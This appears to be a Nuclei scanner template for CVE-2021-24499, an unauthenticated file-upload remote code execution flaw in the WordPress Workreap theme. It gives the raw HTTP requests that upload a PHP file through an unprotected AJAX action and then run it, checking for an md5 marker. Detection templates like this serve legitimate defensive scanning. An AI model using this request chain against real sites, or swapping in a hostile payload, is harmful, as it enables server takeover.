63 lines
2.6 KiB
YAML
63 lines
2.6 KiB
YAML
id: CVE-2021-24499
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info:
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name: WordPress Workreap - Remote Code Execution
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author: daffainfo
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severity: critical
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description: WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
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remediation: |
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Update to the latest version of the Workreap plugin to fix the vulnerability.
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reference:
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- https://github.com/RyouYoo/CVE-2021-24499
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24499
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- https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
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- https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/
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- http://packetstormsecurity.com/files/172876/WordPress-Workreap-2.2.2-Shell-Upload.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-24499
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cwe-id: CWE-434
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epss-score: 0.18031
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epss-percentile: 0.95651
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cpe: cpe:2.3:a:amentotech:workreap:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 2
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vendor: amentotech
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product: workreap
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framework: wordpress
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tags: wpscan,packetstorm,cve,cve2021,rce,workreap,wordpress,wp-plugin,intrusive,wp
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http:
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- raw:
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- |
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
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X-Requested-With: XMLHttpRequest
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-----------------------------cd0dc6bdc00b1cf9
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Content-Disposition: form-data; name="action"
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workreap_award_temp_file_uploader
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-----------------------------cd0dc6bdc00b1cf9
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Content-Disposition: form-data; name="award_img"; filename="{{randstr}}.php"
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Content-Type: application/x-httpd-php
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<?php echo md5("CVE-2021-24499"); ?>
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-----------------------------cd0dc6bdc00b1cf9--
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- |
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GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "71abe5077dae2754c36d731cc1534d4d"
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- type: status
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status:
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- 200
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# digest: 490a004630440220727f7f1d4cfd375a3ba1158e8be31cafa17954a82bc49b20ea7fd5bad23b104502203f473da2a6ab0732a6e53d026571bd3babe1135bc80a1c1258ea1be5e3bc9578:922c64590222798bb761d5b6d8e72950 |